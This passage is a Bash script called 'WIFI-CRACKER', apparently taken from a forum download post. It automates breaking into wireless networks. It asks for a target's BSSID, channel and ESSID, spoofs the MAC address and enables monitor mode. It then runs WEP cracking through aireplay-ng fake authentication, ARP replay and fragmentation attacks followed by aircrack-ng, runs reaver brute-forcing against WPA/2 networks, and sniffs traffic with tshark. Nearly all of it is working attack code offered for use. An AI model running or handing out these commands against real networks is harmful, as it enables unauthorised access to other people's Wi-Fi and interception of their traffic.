echo "########################CHANGING TARGET INFORMATION#########################"
echo "############################################################################"
read -p "WHAT IS YOUR TARGET'S BSSID (ITS MAC ADDRESS)?? " BSSID
read -p "WHAT IS YOUR TARGET'S CHANNEL ?? " CHANNEL
read -p "WHAT IS YOUR TARGET'S ESSID (THE NAME YOU SEE) ?? " ESSID
read -p "WHAT IS YOUR DESIRED FILENAME FOR AIRODUMP SESSION ?? " FILE
echo "MESSAGE: Your target's BSSID                       : ${BSSID}"
echo "MESSAGE: Your target's channel                     : ${CHANNEL}"
echo "MESSAGE: Your target's ESSID                       : ${ESSID}"
echo "MESSAGE: Your airodump session file name is : ${FILE}"
local CONFIRM
read -p "Is this information corrent [Y/n]? " CONFIRM
case $CONFIRM in
y|Y|YES|yes|Yes) break ;;
*) echo "MESSAGE: Please re-enter information"
esac
done
sleep 2
}
###########################################################################################
pre_crack() {
show_logo
echo ""
echo "checking mac address spoof......"
while true
do
case ${MACMODE} in
"ON") echo "MAC MODE IS ALREADY SPOOFED!" && sleep 2 && break ;;
"OFF") macspoof && break;;
*) echo -e "${RED}Error...${STD}" && sleep 2 && clear ;;
esac
done
echo "checking mac address spoof......DONE!"
echo ""
echo "checking monitor mode......"
while true
do
case ${MONMODE} in
"ON") echo "MONITOR MODE IS ALREADY ON!" && sleep 2 && break ;;
"OFF") enable_mon && break ;;
*) echo -e "${RED}Error...${STD}" && sleep 2 && clear ;;
esac
done
echo "checking monitor mode......DONE!"
sleep 3
}
###########################################################################################
start_wepcrack() {
pre_crack
show_logo
echo "############################################################################"
echo "############################### CRACKING WEP ###############################"
echo "###########################using aircrack suite############################"
echo "############################################################################"
echo ""
echo "MESSAGE: YOU NEED AT LEAST 50000 DATA PACKETS FOR AIRCRACK TO WORK!"
pause
}
###########################################################################################
passive_wepcrack() {
start_wepcrack
echo "STEP 1 : START AIRODUMP IN NEW WINDOW"
sleep 5
${TERMINAL} -e "airodump-ng -c ${CHANNEL} -w ${FILE} --bssid ${BSSID} ${INTERFACE}" & AIRODUMPPID=$!
echo "STEP 2 : WAIT A VERY LONG TIME"
sleep 5
echo "MESSAGE: CONTINUE ONLY WHEN #DATA > 50000"
pause
echo "STEP 3 : CRACK FILE"
sleep 30
wepfile_crack
echo "killing processes..."
kill ${AIRODUMPPID}
echo "killing processes...DONE!"
pause
clean_up
}
###########################################################################################
wepcrack() {
start_wepcrack
echo "STEP 1 : START AIRODUMP IN NEW WINDOW"
sleep 5
${TERMINAL} -e "airodump-ng -c ${CHANNEL} -w ${FILE} --bssid ${BSSID} ${INTERFACE}" & AIRODUMPPID=$!
echo "STEP 2 : FAKE AUTH"
sleep 5
aireplay-ng -1 0 -a ${BSSID} -h ${CMAC} -e ${ESSID} ${INTERFACE2}
echo "STEP 3 : GENERATE PACKETS"
sleep 2
${TERMINAL} -e "aireplay-ng -3 -b ${BSSID} -h ${CMAC} ${INTERFACE2}" & AIREPLAYPID=$!
echo "STEP 4 : WAIT A LITTLE BIT"
echo "MESSAGE: CONTINUE ONLY WHEN #DATA > 50000"
pause
echo "STEP 5 : CRACK FILE"
sleep 30
wepfile_crack
echo "killing processes..."
kill ${AIRODUMPPID} && kill ${AIREPLAYPID}
echo "killing processes...DONE!"
pause
clean_up
}
###########################################################################################
wepcrack2_frag() {
start_wepcrack
echo "STEP 1 : START AIRODUMP IN NEW WINDOW"
sleep 5
${TERMINAL} -e "airodump-ng -c ${CHANNEL} --bssid ${BSSID} --ivs -w capture ${INTERFACE}" & AIRODUMPPID=$!
sleep 2
echo "STEP 2 : ASSOCIATE THEN FRAGMETATIONG ATTACK"
sleep 5
aireplay-ng -1 0 -a ${BSSID} -h ${CMAC} ${INTERFACE2}
aireplay-ng -5 -b ${BSSID} -h ${CMAC} ${INTERFACE2}
packetforge-ng -0 -a ${BSSID} -h ${CMAC} -k 255.255.255.255 -l 255.255.255.255 -y *.xor -w arp-packet ${INTERFACE2}
${TERMINAL} -e "aireplay-ng -2 -r arp-packet ${INTERFACE2}" & AIREPLAYPID=$!
echo "STEP 3 : WAIT"
sleep 5
echo "MESSAGE: CONTINUE ONLY WHEN #DATA > 50000"
pause
echo "STEP 5 : CRACK FILE"
sleep 30
wepfile_crack2
echo "killing processes..."
kill ${AIRODUMPPID} && kill ${AIREPLAYPID}
echo "killing processes...DONE!"
sleep 5
clean_up
}
###########################################################################################
wepfile_crack() {
show_logo
echo "############################################################################"
echo "###############################CRACKING FILE################################"
echo "##############################using aircrack###############################"
echo "############################################################################"
echo ""
while true
do
echo "MESSAGE: YOUR CURRENT FILE NAME IS : ${FILE}"
local CONFIRM
read -p "Would you like to change that?? [Y/n] " CONFIRM
case $CONFIRM in
y|Y|YES|yes|Yes) echo "" & read -p "What is the file name (without -01.cap) ?? " FILE & break ;;
*) echo "MESSAGE: ALRIGHT, CONTINUING...."
esac
done
echo "MESSAGE: STARTING UP AIRCRACK TO RETRIEVE KEY FROM FILE"
echo "MESSAGE: DEPENDING ON HOW MUCH PACKETS YOU'VE CAPTURED THIS COULD TAKE SOME TIME"
pause
while true
do
aircrack-ng -b ${BSSID} ${FILE}*.cap
read -p "Did aircrack-ng find the key [Y/n/cancel]" CONFIRM
case $CONFIRM in
y|Y|YES|yes|Yes|cancel|CANCEL|c|C) break ;;
*) echo "MESSAGE: ATTEMPTING TO CRACK AGAIN" & pause
esac
done
echo "MESSAGE: DROP ALL THE ":" AND USE THE KEY AS PASSWORD TO CONNECT"
store_key
pause
}
###########################################################################################
wepfile_crack2() {
show_logo
echo "############################################################################"
echo "##########################CRACKING FILE (METHOD 2)##########################"
echo "##############################using aircrack###############################"
echo "############################################################################"
echo "MESSAGE: STARTING UP AIRCRACK TO RETRIEVE KEY FROM FILE"
echo "THE FILE IS ANY .ivs THAT MATCHES YOUR CURRENT TARGET BSSID"
echo "MESSAGE: DEPENDING ON HOW MUCH PACKETS YOU'VE CAPTURED THIS COULD TAKE SOME TIME"
pause
while true
do
aircrack-ng -n 128 -b ${BSSID} *.ivs
read -p "Did aircrack-ng find the key [Y/n/cancel]" CONFIRM
case $CONFIRM in
y|Y|YES|yes|Yes|cancel|CANCEL|c|C) break ;;
*) echo "MESSAGE: ATTEMPTING TO CRACK AGAIN" & pause
esac
done
echo "MESSAGE: DROP ALL THE ":" AND USE THE KEY AS PASSWORD TO CONNECT"
store_key
pause
}
###########################################################################################
wpacrack() {
pre_crack
show_logo
echo "############################################################################"
echo "######################CRACKING WPA/2 PROTECTED NETWORK######################"
echo "################################using reaver################################"
echo "############################################################################"
echo "MESSAGE: BE SURE THAT YOU'VE ADDED THE TARGET INFORMATION FOR A WPA/2 AP"
echo "MESSAGE: NOW LAUNCHING REAVER TO CRACK WPA/2. THIS CAN TAKE FROM 4 TO 10 HOURS"
echo "MESSAGE: SIGNAL MUST BE STRONG FOR REAVER TO WORK PROPERLY!!!"
pause
reaver -i ${INTERFACE2} -b ${BSSID} -c ${CHANNEL} -e ${ESSID} -a -vv
store_key
pause
}
###########################################################################################
wpacrack_continue() {
pre_crack
while true
do
show_logo
echo "############################################################################"
echo "######################CRACKING WPA/2 PROTECTED NETWORK######################"
echo "################using reaver with a previously saved session################"
echo "############################################################################"
echo "MESSAGE: BE SURE THAT YOU'VE ADDED THE TARGET INFORMATION FOR A WPA/2 AP"
echo "MESSAGE: NOW LAUNCHING REAVER TO CRACK WPA/2. THIS CAN TAKE FROM 4 TO 10 HOURS"
echo "MESSAGE: SIGNAL MUST BE STRONG FOR REAVER TO WORK PROPERLY!!!"
pause
local SESSION
read -p "What is the name of your previously saved session (a {BUNCH OF NUMBERS HERE}.wpc file)?? " SESSION
case $SESSION in
"") echo -e "${RED}MESSAGE: ERROR, TRY AGAIN...${STD}" && sleep 2 && clear ;;
*) echo "MESSAGE: ALRIGHT, CONTINUING PREVIOUS REAVER SESSION...." && sleep 3 && break
esac
done
reaver -s ${SESSION}
store_key
pause
}
###########################################################################################
store_key() {
local CONFIRM
read -p "Would you like to write down your key [Y/n]? " CONFIRM
case $CONFIRM in
y|Y|YES|yes|Yes) echo "" &&
echo "" &&
echo "############################################################################" &&
echo "##############################SAVING WIFI KEY###############################" &&
echo "############################################################################" &&
read -p "WHAT IS THE WIFI KEY?? " KEY &&
echo "MESSAGE: The key for the WIFI YOU CRACKED IS: ${KEY}" ;;
*) echo -e "${RED}MESSAGE: YOUR CHOICE, BACK TO MENU...${STD}" && sleep 5;;
esac
}
###########################################################################################
aircrack() {
pre_crack
show_logo
echo "############################################################################"
echo "###################USE PERSONNAL COMMANDS FOR AIRCRACK-NG###################"
echo "###############################using aircrack###############################"
echo "############################################################################"
local COMMAND
read -p "What command would you like to use in aircrack-ng?? " COMMAND
echo "MESSAGE: OPENING AIRCRACK-NG IN A NEW WINDOW"
${TERMINAL} -e "aircrack-ng ${COMMAND}" & sleep 5 & pause & crack_menu
}
###########################################################################################
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! PACKET SNIFFING OPTIONS !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#
###########################################################################################
#==================================== OW LOOK A MENU =====================================#
sniff_menu() {
while true
do
show_logo
echo "############################################################################"
echo "############################PACKET SNIFFING MENU############################"
echo "#########################using tshark and wireshark#########################"
echo "############################################################################"
echo "~~~~~~~~~~~~~~~~~~~~~~~~~"
echo " PACKET SNIFFING MENU"
echo "~~~~~~~~~~~~~~~~~~~~~~~~~"
echo "========================================================================"
echo "YOUR PRIMARY INTERFACE IS : ${INTERFACE} ; YOUR MONITOR INTERFACE IS : ${INTERFACE2}"
echo "SAVE FILENAME : ${FILE2} "
echo "========================================================================"
echo "Please choose an option"
echo " Have you changed your MAC yet? (STATUS: ${MACMODE})"
echo " 1. *MENU* Visit Mac spoofing menu"
echo " 2.        Run tshark (on ${INTERFACE2})"
echo " 3.        Run tshark and write to file"
echo " 4.        Use tshark with any command"
echo " 5.        Run wireshark (THE GREAT GUI VERSION OF TSHARK)"
echo " 6.        Change you primary and monitoring interfaces' name"
echo " 7.        Tell WIFI-CRACKER monitor mode status (STATUS: ${MONMODE})"
echo " 8.        Turn ON monitor mode (STATUS: ${MONMODE})"
echo " 9.        Turn OFF monitor mode (STATUS: ${MONMODE})"
echo "10. *MENU* Exit to main menu"
echo "11.        Exit WIFI-CRACKER"
local choice
read -p "Enter choice [ 1 - 11 ] " choice
case $choice in
1) macspoof_info ;;
2) pre_crack && tshark -i ${INTERFACE2} && pause ;;
3) pre_crack && tshark -i ${INTERFACE2} -w ${FILE2} && pause ;;
4) tshark_any ;;
5) wireshark & disown && pause ;;
6) ask_ifaces ;;
7) change_mon ;;
8) enable_mon ;;
9) off_mon ;;
10) main_menu ;;
11) f_exit ;;
"~") debug ;;
"quit") exit 5 ;;
*) echo -e "${RED}Error...${STD}" && sleep 2 && clear
esac
done
}
###########################################################################################
tshark_any() {
pre_crack
show_logo
echo "############################################################################"
echo "#####################USE PERSONNAL COMMANDS FOR TSHARK######################"
echo "################################using tshark################################"
echo "############################################################################"
local COMMAND
read -p "What command would you like to use in tshark?? " COMMAND
echo "MESSAGE: OPENING TSHARK IN A NEW WINDOW"
${TERMINAL} -e "tshark ${COMMAND}" & pause
}
#+++++++++++++++++++++++++++++++++++++ MAIN FUNCTION +++++++++++++++++++++++++++++++++++++#
start_up


FUENTE: http://xiaopan.co/forums/threads/wifi-cracker-v1-2-2-download-source-bash-script.1879/